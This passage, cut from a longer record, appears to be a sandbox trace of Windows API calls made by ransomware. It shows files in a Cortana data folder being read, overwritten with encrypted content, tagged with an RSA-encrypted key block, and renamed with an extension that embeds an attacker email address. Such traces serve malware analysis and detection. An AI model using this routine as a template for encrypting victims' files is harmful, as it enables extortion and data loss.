hFile=0x1b04, lpBuffer=0x66eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.809] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.809] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.809] CloseHandle (hObject=0x1b04) returned 1 [0248.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb30 | out: hHeap=0x570000) returned 1 [0248.809] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadde8 | out: hHeap=0x570000) returned 1 [0248.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae450 | out: hHeap=0x570000) returned 1 [0248.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fad8c8 [0248.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.811] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.811] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.ft", dwFileAttributes=0x80) returned 1 [0248.812] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadb58 [0248.812] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1de) returned 0x66e948 [0248.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadb58 | out: hHeap=0x570000) returned 1 [0248.812] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0248.813] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=28943) returned 1 [0248.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710f) returned 0x33f5018 [0248.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710f) returned 0x33fc130 [0248.813] ReadFile (in: hFile=0x1b04, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x710f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x710f, lpOverlapped=0x0) returned 1 [0248.839] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-28943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.839] WriteFile (in: hFile=0x1b04, lpBuffer=0x33fc130*, nNumberOfBytesToWrite=0x710f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33fc130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x710f, lpOverlapped=0x0) returned 1 [0248.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0248.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33fc130 | out: hHeap=0x570000) returned 1 [0248.839] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x710f [0248.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.840] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb30 [0248.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb30, pcchString=0x2e3f9a8 | out: pszString="EuvAwxpI1Sww2JyoaedI2iueFSxkdLDFadVEkbo3QCSX9SnNDJkaG5rlU2bEesGy\n1+lIiz+h9sW6SicZz4mjy4jQMt1YWVBi+ej92Nh1OLS86ZHBPfgwM5AIFkRgb3Ug\n+5OW1+IDkSI/GwNL9Kg4whP8jl94dqm32/I5f4lUNsbD5JLu6VE6L2Ly3vm1K0Lb\nMNwCfCV1qomR4ABNeZyPepmKIXL8Ps6CuNWgF+lDkvTLsrod1NBeIugCnQocPVfJ\nFfZWZea5OlknS2OpiLwCSexeTJdU4WjJCNywKLPikFx/xzODksZ0lQPP7isDRStC\nuH8QRxprd7d1b+94hNv/eg==\n", pcchString=0x2e3f9a8) returned 1 [0248.840] WriteFile (in: hFile=0x1b04, lpBuffer=0x66eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.840] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.841] CloseHandle (hObject=0x1b04) returned 1 [0248.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb30 | out: hHeap=0x570000) returned 1 [0248.841] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.ft.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.ft.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fad8c8 | out: hHeap=0x570000) returned 1 [0248.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadf30 | out: hHeap=0x570000) returned 1 [0248.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66e948 [0248.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.844] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.844] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0248.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66eac0 [0248.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66ec38 [0248.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eac0 | out: hHeap=0x570000) returned 1 [0248.845] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0248.845] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0248.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d430 [0248.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d4b0 [0248.845] ReadFile (in: hFile=0x1b04, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.846] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.846] WriteFile (in: hFile=0x1b04, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0248.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0248.847] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0248.847] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.847] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.847] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.847] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x313e008 [0248.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e008, pcchString=0x2e3f9a8 | out: pszString="3qStO2cD/qWcIZg5CblceSGAiwS7Eu93nV/tdk24GuNhe3BLJezdF7E9q52kkX8A\n201NjfiEZStJ27d48Iz3r26P5MCsYeY7jHtDV0YAHWmUws8Y8ozmGIfpQaCt0cps\n7iwpYNuSABZDB05xX6hp25uyvF40onQpy8g0Pts04QBULVIYbBI7OausGf1Mcy5W\nKt+vB5hK1yGOMK0s9kw4LJuhj+AiDWT/EDzc+BTmcrpXBzrnj6X1m+lhOaC3wijM\nQAQ8DJi4lFvOpwPdEhWdBvRAXsQ3V/+6ha99+76ofEpp9i3NIglYuP9swO2gNKyl\nNAN5XKdN93knvcG3j3V8sA==\n", pcchString=0x2e3f9a8) returned 1 [0248.848] WriteFile (in: hFile=0x1b04, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.848] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.848] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.848] CloseHandle (hObject=0x1b04) returned 1 [0248.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0248.848] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ec38 | out: hHeap=0x570000) returned 1 [0248.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0248.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.851] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.851] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0248.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66e948 [0248.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66eac0 [0248.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.852] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0248.852] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0248.852] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d4b0 [0248.852] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d430 [0248.852] ReadFile (in: hFile=0x1b04, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.853] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.853] WriteFile (in: hFile=0x1b04, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0248.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0248.854] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0248.854] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.854] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.855] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ecf0 [0248.855] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ecf0, pcchString=0x2e3f9a8 | out: pszString="2n74Vh6OEPdGo8IoxoBBH2KwlEaIdBi8xg+rM8yJmthIitbzcsFT5uVBLFFmM7nv\n/GTwzrbToZp3P7XUkNLm5WwVwI5PHAhDkA4Gdi+NawM1rI2Zs6dg2LRGps6rakRP\n7mhU4hANtq+dqnkRyi4ArWCxYjI7EACfims7iOmFVa69vTPLvLY85Wu1txKnHXsP\nZ/c6W/agg+gPvrtcPESHLmfdPeur5N+CscQkl1V0hWGv4voAoKyoDA+FUvyV91fI\nbjA0/YMv1/Wl/oLSdPOFawaufhqr/WavMSIs0LK518F6wvPfuhlYO54NKCKeh7qf\nXQP4KGCWrwyftrQztUIQPA==\n", pcchString=0x2e3f9a8) returned 1 [0248.855] WriteFile (in: hFile=0x1b04, lpBuffer=0x66ecf0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ecf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.855] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.855] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.855] CloseHandle (hObject=0x1b04) returned 1 [0248.855] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ecf0 | out: hHeap=0x570000) returned 1 [0248.855] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eac0 | out: hHeap=0x570000) returned 1 [0248.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0248.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5a8108 [0248.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0248.860] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.860] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0248.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0248.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66e948 [0248.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.917] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0248.917] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=21530) returned 1 [0248.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x541a) returned 0x2f39028 [0248.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x541a) returned 0x33f5018 [0248.918] ReadFile (in: hFile=0x1b04, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x541a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x541a, lpOverlapped=0x0) returned 1 [0249.076] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-21530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.076] WriteFile (in: hFile=0x1b04, lpBuffer=0x33f5018*, nNumberOfBytesToWrite=0x541a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x541a, lpOverlapped=0x0) returned 1 [0249.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0249.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: 